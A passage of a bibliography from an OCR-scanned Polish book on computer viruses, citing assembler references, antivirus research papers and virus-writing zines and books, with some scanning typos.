4. Marek Kotowski Pod zegarem (Asembler 8086/80286), Wydawnictwo Lu-pus, Warszawa 1992.
5. Zbigniew Mroziński Mikroprocesor 8086 {Podręczny Katalog Elektronika), Wydawnictwa Naukowo-Techniczne, Warszawa 1992.
6. Ryszard Goczyński, Michał Tuszyński Mikroprocesory 80286, 80386, i 80486 Komputerowa Oficyna Wydawnicza Hełp, Warszawa 1991-
7. Piotr Metzger Anatomia PC Helion, Gliwice 1993.
8. Krzysztof Kierzenkowski Programowanie z wykorzystaniem pamięci typu extended i expanded (Pamięci extended i expanded), Wydawnictwo Lupus, Warszawa 1994,
9. Arkadiusz Andrusz, Maciej Sokołowski Mapa pamięci IBM/PC w przykładach w pascalu i asemblerze , Wydawnictwo Lynx-Sft, Warszawa 1995.
10. Andrzej Dudek Jak pisać wirusy O.W. Read Me, Jelenia Góra 1993.
11. Microsoft Word, Podręcznik użytkownika Microsoft Corporation 1994.
12. Microsoft Excel, Opis funkcji Microsoft Corporation 1993.
13. Władysław Majewski Uwaga! Komputerowe wirusy " Wiedza i Życie", 1989,z.1.
14. Karol Szyndzielorz Projektanci komputerowych wirusów "Wiedza i Życie", 1989,
15. Marek Sell Help do programu MKS_Vir.
16. Phalcon/Skism: 40HEX (issues 1-14).
17. VLAD: VLAD (issues 1-7).
18. VBB: Viruses Bits & Bytes (issues 1-2).
19. Immortal Riot: Insane Reality (issues 4-6).
20. NuKe: NuKe IntoJournal (issues 4-3).
21. Dark Angel VirGuide (issues L-?).
22. Raif Brown Interrupt list 51,
23. (C) (P) Potemkins Hackers Group Opcodes.lst (revision 1.27), Moscow.
24. Marl A. Ludwig The Little Black Book about Computer Viruses, volume 1 -The basic tcchuology, American Eagle Publications Inc. 1991.
25. Vessolin Bontchev Future Trends in Virus-Writing Virus Test Center, Uni-versity of Hamburg, Germany 1994.
26. Vesselin Bontchev Possible Virus Attacks Against Integrity Programs and How io Prevent them. Virus Test Center, Univercity of Hamburg Germany 1992.
27. Vosselin Bontchev The Bulgarian and Soviet Virus Pactories Bulgarian Aca-demy of Sciences, Sofia, Bułgaria.
28. Vesselm Bontchev lnVircible Test from Virus Test Center University of Hamburg.
29. Inside the Mind of Dark Ąveriger Personal Computer World, July 1993.
30. Julian Bibbell Viruses are Good For You USA: WIRED Ventui-es Ltd. 1995.
31. Sara Gordon Faces Behind the Masks November, England 1994.
32. Tarkan Yetiser Połymorphic Viruses - Implementation, Detection, and Protec-tion USA, Baltimore, VDS Advanced Research Group 1993.
33. Gary M. Watson A Discussion of Polymorphism Data Plus 1992.
34. Dmitry O. Gryaznov Scanners of the Year 2000 Senior Virus Research Analyst.
35. Epidemiology and Computer Viruses Alan, Solomon 1990.
36. Viriology 101.
37. Anthony Naggs CAROBASE Format Reference revised edition 1993.
38. Donn Seeley A Tour of the Worm Department of Computer Science, University of
Utah.
--------------- info ------------------
orginal book "Wirusy" by Adam Blaszczyk
scanned and ocr'ed by misha [cp'99]
misha@vc.pl. 1999.06.08
---------------------------------------